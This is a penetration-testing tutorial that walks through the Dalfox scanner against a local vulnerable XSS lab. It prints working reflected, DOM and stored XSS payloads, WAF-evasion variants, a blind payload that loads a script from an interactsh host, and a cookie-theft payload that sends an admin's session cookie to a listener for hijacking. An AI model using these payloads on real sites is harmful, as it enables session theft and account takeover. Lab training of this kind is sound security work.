This is the Dalfox walkthrough I wish I had when I was learning the tool. I start with nothing (no target, no captured request, no custom payloads) and finish with a reflected hit, a DOM hit, a stored payload that fires in another user's session, a blind callback over interactsh, and a working cookie-theft proof of concept against an admin account. Every step is reproducible against a vulnerable lab I publish for exactly this purpose.
If cross-site scripting is still fuzzy as a class of bug, read that first; this article assumes the variants (reflected, stored, DOM) are familiar. The Dalfox cheat sheet is the flag-by-flag reference that complements this walkthrough, and best XSS tools 2026 covers where Dalfox sits next to the alternatives.
A note on Dalfox v3. This article was updated on 2026-05-27 against the v3 Rust rewrite, released a few days earlier. v3 unified the
url,file, andpipesubcommands into a singledalfox scan [input]with input-type auto-detection. The headless-Chrome verification (chromedp,--deep-domxss,--use-bav) was removed in favour of a static JavaScript parser (oxc) for DOM dataflow analysis. The legacy v2 subcommands still work as hidden aliases but the documented form isscan. If you are still on the Go v2 branch, the same workflow applies with the older flag names.
A note on the output you will see. Every example in this article was produced against
techearl-labs/cross-site-scripting/xss-basic. The endpoints, sinks, demo accounts, and exploit behaviour are deterministic and will match what you get locally. A few outputs are environment-dependent: exact request counts, the precise byte-level encoding Dalfox uses for PoC URLs, the interactsh subdomain you register, and any timestamps. Those are illustrative, the structure underneath is what to follow.
The lab target
Pull and run the lab:
git clone https://github.com/ishankaru/techearl-labs.git
cd techearl-labs
docker compose up xss-basicThe target listens on http://localhost:8081. It exposes three deliberately-vulnerable rendering sinks and a session cookie that is set without HttpOnly on purpose:
| Endpoint | Method | Sink | Type |
|---|---|---|---|
/search.php?q=... | GET | q reflected into <h2>Results for: ...</h2> unescaped | Reflected |
/guestbook.php (body field) | POST | comment body stored, rendered raw on /, /guestbook.php, /admin.php | Stored |
/share.php#... | GET | fragment read by inline JS, written via innerHTML | DOM |
/login.php | POST | sets session_id cookie without HttpOnly | Cookie chain |
Demo accounts: admin / admin123, alice / alice123, bob / bob123. The guestbook requires login; everything else fires unauthenticated.
Step 1: identify the endpoints
Before Dalfox sees anything, confirm the three sinks behave as advertised. One curl per sink keeps you honest:
curl -s 'http://localhost:8081/search.php?q=<x>' | grep -o 'Results for: <x>'
curl -s 'http://localhost:8081/share.php' | grep -o 'location.hash'
curl -s -c jar.txt -b jar.txt -d 'username=alice&password=alice123' \
http://localhost:8081/login.php -o /dev/null -w '%{http_code}\n'If the first command echoes Results for: <x> verbatim (not <x>), reflection is wired. If the second matches, the DOM sink reads location.hash. If the third returns 302, you have a working session cookie in jar.txt for the stored-XSS step.
Step 2: baseline single-URL scan
Dalfox v3 uses one subcommand for every input shape. A URL, a file, or piped stdin all go through scan:
dalfox scan 'http://localhost:8081/search.php?q=test'Output (abbreviated):
[I] Target: http://localhost:8081/search.php?q=test (URL, auto-detected)
[I] Workers: 6
[I] Discovering request method ... GET
[I] Static analysis ... Content-Type: text/html
[I] Found reflected param: q
[I] [param=q] reflected with no filter (HTML context)
[POC][G][http://localhost:8081/search.php?q=%3Cimg%2Fsrc%2Fonerror%3Dalert%2845%29%3E]
[POC][G][http://localhost:8081/search.php?q=%3Cscript%3Ealert%281%29%3C%2Fscript%3E]
[POC][G][http://localhost:8081/search.php?q=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E]
[I] Finished scan. Total: 287 requests, 3 PoCs, elapsed 4.1s
Three PoCs, one parameter, HTML context, no filter detected. Open any of the PoC URLs in a browser and the alert fires. That is the reflected-XSS verification for reflected XSS.
The [G] tag is Dalfox saying "this PoC has been Grepped, the payload is in the response body". In v3, [V] (verified) comes from the static JavaScript analyser (oxc) confirming the reflected bytes form executable code in the surrounding context, not from a headless browser.
Step 3: piped input, multiple URLs
In real engagements you do not have one URL, you have a few hundred from a crawler or katana. v3's scan reads stdin when the input is - or simply piped:
cat <<'EOF' | dalfox scan -
http://localhost:8081/search.php?q=test
http://localhost:8081/share.php?ref=home
http://localhost:8081/guestbook.php
EOFOr save the URL list to a file and pass the path:
dalfox scan urls.txtThe input type is auto-detected. A URL goes single-target, a file is parsed as one URL per line, stdin is parsed the same way. The -S (silent) flag strips progress chatter and prints PoCs only, which is the right mode for CI:
cat urls.txt | dalfox scan - -SDalfox spreads workers across all URLs in the pipe simultaneously. Tune the worker count with --workers (the v3 rename of v2's --concurrence):
cat urls.txt | dalfox scan - -S --workers 16Step 4: a captured Burp request file
For anything that needs a session cookie, POST body, or non-trivial headers, the captured-request workflow is the same shape I use for sqlmap. Sign in as alice, intercept the next request to /guestbook.php, "Copy to file" as req.txt:
POST /guestbook.php HTTP/1.1
Host: localhost:8081
Cookie: session_id=8f4a3c2b1d0e9f8a7b6c5d4e3f2a1b0c
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
body=hello+from+alice
Pass it via --rawdata:
dalfox scan --rawdata req.txtDalfox parses the method, headers, cookies, and body from the file, then injects each parameter in turn. You can also supply the same shape with individual flags. Note the v3 rename: -C/--cookie is now --cookies (pluralised) for consistency:
dalfox scan 'http://localhost:8081/guestbook.php' \
--data 'body=hello' \
--cookies 'session_id=8f4a3c2b1d0e9f8a7b6c5d4e3f2a1b0c' \
--method POSTStep 5: verifying a reflected hit (static analysis, no headless browser)
v2's --deep-domxss and --use-bav spun up Chrome via chromedp to confirm the payload actually executed. v3 removed both: chromedp is gone, and instead the static JavaScript parser (oxc) analyses dataflow from sources (location.hash, URL, document.referrer) into sinks (innerHTML, eval, document.write) and reports verified hits without launching a browser. It is faster, deterministic, and works in CI without a Chrome binary on the host.
dalfox scan 'http://localhost:8081/search.php?q=test'The [V] PoCs in the output have been parsed-and-verified by oxc. The [G] PoCs are grep-matched only and may include the standard false-positive shapes (payload inside an HTML comment, inside an attribute that is properly quoted, etc.). For high-confidence-only output, filter the JSON results downstream (see Step 9).
For the DOM sink, target /share.php with a fragment payload. The fragment never reaches the server, but oxc parses the inline <script> block, sees innerHTML <- location.hash, and reports the dataflow as a confirmed DOM XSS sink:
dalfox scan 'http://localhost:8081/share.php'Output:
[POC][V][http://localhost:8081/share.php#<img src=x onerror=alert(1)>]
[I] DOM sink: innerHTML <- location.hash (oxc, static)
Inline <script> tags are stripped by innerHTML per the HTML spec (this is a real platform behaviour, not a defence), so the event-handler form is what works against the DOM-based XSS sink in this lab.
Step 6: stored XSS
Stored XSS is the awkward one because the payload goes in via one request and comes back out on a different page. v2 had --found-action to drive this; v3 removed it in favour of the REST API and CLI-stdout piping. The practical workflow is now two passes: scan to dump candidate payloads, then drive the verify-after-POST step with a small script.
For the stored-XSS sink in this lab, anything that survives htmlspecialchars (it is not called) executes verbatim on the next view of /guestbook.php, /, or /admin.php. A simple end-to-end with curl:
curl -s -b 'session_id=...' \
-d 'body=<script>alert(document.domain)</script>' \
http://localhost:8081/guestbook.php
curl -s -b 'session_id=...' http://localhost:8081/guestbook.php \
| grep -o '<script>alert(document.domain)</script>'If the second grep matches, the payload is stored and rendered raw. Sign in via a real browser and the alert fires on page load.
To drive this from Dalfox, post the payload with scan and then re-fetch the destination URL by hand or via a wrapper script:
dalfox scan 'http://localhost:8081/guestbook.php' \
--data 'body=DALFOX' \
--cookies 'session_id=8f4a3c2b1d0e9f8a7b6c5d4e3f2a1b0c' \
--method POST
curl -s -b 'session_id=8f4a3c2b1d0e9f8a7b6c5d4e3f2a1b0c' \
http://localhost:8081/guestbook.php | grep -o 'DALFOX'The v3 REST API (dalfox server) is the right tool for the "POST then poll" automation: register a webhook that re-fetches the candidate view URLs and reports back. The CLI itself is now the one-shot scanner.
Step 7: blind XSS with interactsh
Blind XSS is the variant where the payload fires somewhere you cannot see (admin dashboards, support-ticket viewers, log aggregators). The detection model is "the payload calls home". The -b (blind) flag is unchanged from v2:
# In one terminal, register an interactsh subdomain
interactsh-client
# Copy the registered host, e.g. c8a1f0e2.oast.funThen in another terminal, point Dalfox at it:
dalfox scan 'http://localhost:8081/guestbook.php' \
--data 'body=PLACEHOLDER' \
--cookies 'session_id=...' \
--method POST \
-b c8a1f0e2.oast.funDalfox replaces PLACEHOLDER (or just the body field) with a blind-XSS payload that loads a remote script:
<script src="//c8a1f0e2.oast.fun/x.js"></script>It posts that into the guestbook. Now sign in as admin and load /admin.php. The browser fetches x.js from c8a1f0e2.oast.fun, interactsh-client logs the hit, and Dalfox flags the parameter as confirmed-blind. In real engagements this is how you catch XSS in flows you have no visibility into.
Step 8: custom payloads and WAF-evasion patterns
v3 keeps custom payload files as the lever when default payloads bounce off a filter. The flag is the same; one payload per line:
"><svg/onload=confirm(1)>
'-confirm(1)-'
javascript:confirm(1)
<img src=x onerror=confirm`1`>
<iframe srcdoc="<script>parent.confirm(1)</script>">
Feed it in:
dalfox scan 'http://localhost:8081/search.php?q=test' \
--custom-payload payloads.txtFor built-in WAF evasion, v3 introduced --waf-evasion, which enables the encoded and obfuscated payload variants Dalfox carries for common WAFs (Cloudflare, AWS WAF, Akamai). The HTTP-parameter-pollution mode (--hpp) is also new in v3 and helpful against filters that examine only the first occurrence of a duplicated parameter:
dalfox scan 'http://localhost:8081/search.php?q=test' --waf-evasion --hppFor the bytes-by-bytes "what does the filter do" workflow, capture traffic through Burp and run Dalfox with a proxy so you can watch every request:
dalfox scan 'http://localhost:8081/search.php?q=test' \
--proxy http://127.0.0.1:8080 --custom-payload payloads.txtStep 9: cookie theft proof of concept
The lab's session cookie is set without HttpOnly, which means document.cookie reads it from JS. Chain this with the stored sink and admin's cookie leaves the browser.
Listener (any scratch directory):
python3 -m http.server 9000Sign in as alice, post a comment with body:
<script>new Image().src='http://localhost:9000/c?'+document.cookie</script>Sign out. Sign in as admin, load /admin.php. The listener prints:
127.0.0.1 - - [27/May/2026 11:34:02] "GET /c?session_id=7e2a9b...redacted HTTP/1.1" 404 -
Replay that cookie from a fresh browser profile (or curl -b 'session_id=7e2a9b...' http://localhost:8081/admin.php) and the admin pages render under your control. The chain is: stored sink + missing HttpOnly + admin viewing the same page = session hijack. Full mechanics in XSS, stealing session cookies.
The defender's fix is two lines: set HttpOnly on the session cookie, and HTML-encode the guestbook body on output (htmlspecialchars($body, ENT_QUOTES, 'UTF-8')). Either one alone breaks the chain.
Step 10: structured output for CI
For CI integration or report generation, v3 writes structured output via -f (format) and -o (output file). Markdown and SARIF are first-class:
dalfox scan 'http://localhost:8081/search.php?q=test' -f markdown -o report.md
dalfox scan 'http://localhost:8081/search.php?q=test' -f sarif -o results.sarifSARIF is the format GitHub Code Scanning, GitLab, and most enterprise scanners ingest natively. Upload results.sarif straight into your pipeline and the PoCs show up as annotated findings on the pull request.
For a bulk run with a hard time budget (useful in CI so a slow scan does not stall the pipeline), set --scan-timeout and --max-payloads-per-param:
cat urls.txt | dalfox scan - -S \
-f sarif -o results.sarif \
--scan-timeout 600 --max-payloads-per-param 50--dry-run runs a preflight without firing payloads, which is the right thing to wire into a PR check that wants to fail-fast on configuration mistakes before spending the scan budget.
What I would do next on this target
In a real engagement after Step 9 the report writes itself:
- Confirm reflected XSS on
search.php?q, HTML context, no encoding. - Confirm DOM XSS on
share.php#, sink isinnerHTMLfromlocation.hash. - Confirm stored XSS on
guestbook.php, body field, renders on three pages. - Confirm session cookie lacks
HttpOnly. - Confirm full session hijack of admin via stored payload.
- Recommend:
htmlspecialcharson every output,HttpOnlyandSameSite=Laxon the session cookie, a Content-Security-Policy header that forbids inline script, and a templating engine (Twig or Blade) that escapes by default rather than the raw<?= $var ?>pattern this lab uses.
The point of this walkthrough is the chain. Each sink on its own is a paper cut; the chain (reflected probe to find the bug class, stored payload to plant it, missing HttpOnly to read the cookie, admin viewing the page to fire it) is what real XSS looks like in practice.
Where to go next
- The Dalfox cheat sheet for the full v3 flag reference.
- The cross-site scripting deep dive for the variants and the defence playbook.
- The reflected XSS, stored XSS, and DOM-based XSS articles for each variant in detail.
- The XSS session-cookie theft writeup for the full chain mechanics.
- The best XSS tools list for 2026 for XSStrike, kxss, and the alternatives.
Sources
Authoritative references this article was fact-checked against.
- Dalfox, official repository and READMEgithub.com
- Dalfox v2 to v3 migration guidegithub.com
- Dalfox documentation sitedalfox.hahwul.com
- techearl-labs, xss-basic labgithub.com





